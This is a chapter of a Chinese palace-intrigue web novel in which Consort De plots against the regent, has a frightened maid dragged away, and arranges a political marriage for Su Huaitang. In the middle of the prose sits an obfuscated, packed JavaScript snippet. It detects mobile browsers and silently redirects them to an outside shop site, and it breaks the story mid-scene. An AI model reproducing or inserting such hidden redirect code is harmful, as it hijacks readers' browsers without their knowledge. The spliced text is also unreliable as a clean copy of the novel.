夜色沉沉,清宁宫的大门紧闭,沉重的朱漆门板透着寒意。
殿内却灯火通明,一群太监、宫女伏跪在冰冷的青砖上,额头紧贴地面,身下青石砖的寒意渗透骨髓。
满殿鸦雀无声,只有微风拂过衣袂,发出窸窣轻响。
德妃娘娘的仪仗回宫已经两个时辰了,但是怒火未消,压迫感让每个宫人都如芒在背。
偶尔有内监匆匆领命走过,鞋底擦过石板的声音在寂静中显得格外刺耳。
跪在地上的宫人们却始终不敢抬头,只能屏息以待。
年幼的小太监偷偷揉着酸痛的膝盖,目光中透着忐忑与不安,探头看向殿内。
德妃娘娘素日里是出了名的贤良宽宥,在后宫诸人中有口皆碑。可今日不知为何,德妃娘娘从养心殿议事回来后,竟在清宁宫大发雷霆。
宫女太监们个个噤若寒蝉,气氛压抑得连呼吸都不敢大声。
殿内瓷器碎裂的声音不绝于耳,德妃娘娘那一双凤眸此刻寒光闪闪,素来温润的面庞也失去了平日的温和伪装,她挥袖扫过,桌上的金银器皿应声落地,发出清脆地撞击声。
跟在她身边伺候的贴身宫女红莲急忙跪下,战战兢兢地请罪:“娘娘息怒,摄政王不过是一时口无遮拦,满朝文武必定会看在您的面上……”
“看在本宫的面上?”
德妃冷笑一声,声音如冰,“本宫的面子如今还有几分重?满朝文武也不过都是些心怀叵测的墙头草罢了!独孤慎这个血统肮脏的杂种,竟然敢与我儿为敌,我看他是想趁着皇上昏睡谋权篡位!”
她的手紧紧攥着椅子的扶手,指节用力到扭曲,眼中满是怒火。
“娘娘……摄政王不过是小人得势一时猖狂罢了,淮安王和韩硕将军一众保皇派等还是都站在您和二殿下这一边的,何况独孤慎的出身摆在那里,宫里和民间流言蜚语甚多,您不必为此动怒……这回区区一个大理寺少卿的人选,便由着独孤慎安排一次罢了。”另一名贴身宫女试图劝慰。
“怎么不叫本宫动怒?!”德妃眼中闪过一丝悲凉,“这些年本宫勤勤恳恳、忍气吞声,力求博一个后宫贤名,可是十几年的贤名有什么用?圣上还不是偏宠言贵妃那个心里没有他的小贱人!”
“……本宫辛苦教养的二皇子云州杀伐果决,在圣上眼里竟然不如太子那个软弱无用、妇人之仁的废物!若不是本宫筹谋得当……”
德妃越说越激动,连带着以往藏在心底的怨恨一股脑倾诉而出。
“母妃慎言!”二殿下皇甫云州惊愕地及时制止住德妃的口不择言。
德妃摔了茶盏站起身,负手而立,深吸一口气,强忍住情绪的波动。
在怒火稍退之后,逐渐恢复了往日的面色沉静,然而那双凤眸中却多了几分审视的阴毒。
德妃的目光缓缓扫视着跪在地上的几个贴身宫女,所有人都低着头,大气不敢出一声,满室安静,连针尖落地的声音似乎都微弱可闻。
她轻轻抬手示意众人,“何必跪着,都平身吧”,声音依旧温和,却带着一丝探究的意味:“红莲,你方才可都听清了?”
红莲头低得更深了,连忙回应:“娘娘恕罪,奴婢是个眼瞎耳背的,一心只盼着娘娘身体康健,二殿下早日荣登大宝。”
德妃微微点头,目光却没有从红莲身上移开,淡淡说道:“本宫知道你一向是个谨慎的孩子,可这后宫人多嘴杂,若是不该说的话传了出去,怕是本宫与殿下都不好过。”
红莲一听,冷汗涔涔,连忙叩头:“奴婢生是清宁宫的人,死是清宁宫的鬼,长着的也是清宁宫的舌头,娘娘心中明鉴。”
德妃轻哼一声,眼中寒光一闪:“本宫自然明白。但这宫中心怀叵测之人太多了,本宫不得不多加防备。你们在本宫身边伺候多年,若有不慎,连累的不仅是自己,还有家里族人的安危。”
她的语气虽平和,但每一个字都带着压迫感,像是要从众人中揪出什么似的。
此时,跪在一旁的另一名宫女忽然身子一颤,似乎被德妃的目光所摄,轻轻发出了一声喘息,虽然声音极小,但在这寂静的寝宫中依然显得格外突兀。
德妃目光一凝,转头看向她:“玉兰,你怎么了?”
那名叫玉兰的宫女顿时脸色煞白,连忙磕头道:“娘娘恕罪,奴婢只是……只是有些身子不适。”
德妃眼神微微冷了下来:“不适?本宫看你是心中有事吧?”
玉兰身子颤抖得更加厉害,双手撑地,声音颤抖:“奴婢绝无二心,只是方才娘娘发怒,奴婢害怕……失态了。”
德妃眼神锋利如刀,盯着玉兰,久久没有说话。
玉兰连忙叩头:“奴婢忠心耿耿,绝无他念!”
德妃脸上依旧挂着淡淡的笑意,轻启朱唇,声音如同浸了冰水,“玉兰服侍本宫也五六年了,出落的越发清秀了,五年前阖宫夜宴上,言贵妃还赞过玉兰生得纤细美丽,本宫倒是忘了赏赐你,如今一并补上吧。”
玉兰顿时手脚瘫软,整个人跪倒在地,因为恐惧声音颤抖,“娘娘饶命啊,玉兰什么都不会说出去的。”
德妃已经别开脸,随意抬了抬手,两个内监立刻上前,用锦缎堵住她的嘴,一左一右擒住双臂,如同拖拽破布般将她拖出殿门。
红莲扭过头别开眼,毕竟是相处多年的姐妹,她肩膀微微颤抖,紧紧攥紧了衣袖。
玉兰的哭声很快就消失在殿外。
皇甫云州起身伺候德妃饮茶,劝解道,“母妃,我如今虽然代天子监国,但是没有太子的名分,又没有父皇的亲笔诏书,名不正言不顺,那些保皇派的顽固老臣私下对我颇有微词。如今朝局动荡,母妃莫要因为今日朝堂上一时之气,影响了大局稳定。”
德妃胸口微微起伏,深吸一口气,缓缓闭上眼将心头翻腾的怒火压下。
片刻后,她睁开眼眸,眸色已然恢复深沉。抬手轻抚鬓发,整理了一下袖口,姿态依旧端庄高贵,“皇儿的意思是?”
“与其针锋相对,不如退一步海阔天空。”皇甫云州宽慰道。
“……独孤慎不是有个义子苏怀堂吗,担任漠北大营北辰卫指挥使。母后别小看他,苏怀堂执拗狠厉颇得独孤慎赏识……他的婚事久悬未决……不若趁此机会由母后赐婚,卖摄政王个人情以示安抚……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637547|188073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
德妃的指尖在茶盏的边缘划过,声音也随之低沉,“独孤慎似乎有意促成江北江家与苏怀堂的婚事,听闻被苏怀堂数次推脱拒绝了……”
“江北江家?”皇甫云州不甚在意,“不过是个门庭冷落的没落氏族罢了,早已远离朝局权利中心。难怪苏怀堂不肯!”
“你懂什么!”
德妃皱了眉耐着性子解释:“苏怀堂的婚事久悬未决就是因为高不成低不就,他本是十族之一苏家的小公子,出身高贵,为报答独孤慎的救命之恩,才投靠了革新派……苏家人觉得出身平民的女郎辱没了他,身份显赫的保皇派氏族又因为立场不肯与他谈婚论嫁,这才耽误了……我记着苏家与江家有世代婚约,结百年秦晋之好,二十年前苏家倾覆,但是此约未废……”
德妃饮了口温热的茶水,冷笑道,“莫不如本宫下旨赐婚以示天家恩德,就算给摄政王一个薄面,谅江家也不敢拒婚。”
——
十日后,巳时初,江北兰亭镇,客栈的窗外是熙熙攘攘的街市,马蹄声与小贩的叫卖声交织成一片。
苏怀堂倚在窗边,手中信笺被揉得皱皱巴巴,随丢弃在案几上。
他目光冷冷扫过那几个墨迹未干的字,嘴角勾起一抹讥讽的笑意,“赐婚?真当我是世家子弟那些酒囊饭袋任人摆布吗?”
苏怀堂的指节在桌面上轻轻敲击,发出低沉的声响,似在压抑心头的不耐与愤怒。
片刻后,他冷哼一声,起身将窗推得大开,目光冷冽,“德妃若以为一纸诏书便能困住我,未免太过天真。”
五邪站在一旁,心知此事关乎重大,不能由着苏怀堂的性子恣意妄为,于是上前小心规劝道,“少主,婚姻大事本就不是两情相悦这般简单,更重要的是两姓氏族的利益联盟。”
五邪顿了顿,观苏怀堂未显露不悦之色,方才谨慎地继续道,“纵然少主心仪陵瑛县主,也当为大事计,陵瑛县主不过是空有名头的孤女……而江家虽然势微,但底蕴深厚,况且苏家和江家有百年婚约,摄政王一直有意撮合,只不过是被您数次敷衍过去了……听闻前些日子德妃与摄政王因为大理寺少卿的人选起了争执,如今德妃娘娘赐婚,摄政王似乎也应允了,此举是缓和双方关系的示好,您可不能由着性子胡来呀。”
苏怀堂听罢,低声道:“我自然知晓和江家联姻的利弊,只是……江玉澄?”
他摩挲着手里的白玉佛珠,神色玩味,“江北江家的嫡出大小姐?似乎一直娇养在深闺,从未抛头露面,我倒是真有些好奇了……”
苏怀堂偏侧过头看向五邪,那双狭长的丹凤眼微微上挑,似刀锋般凌厉,眸中的光芒犹如寒星闪烁,虽淡淡地扫过,却让人不由得脊背一凉。
“若是她是个柔顺本分的,联姻倒也不失为一个上策。苏氏族长夫人该有的体面尊荣,我一分都不会少给她……”
苏怀堂的嘴角勾起一抹意味深长的弧度,眼带几分漫不经心的戏谑和丝丝冷意,让人看不透他的情绪。
“……可倘若她是个骄纵乖张不听话的,敢在苏家使那些内宅的肮脏手段,或者一味狐媚痴缠,我也会让她求生不能求死不得。”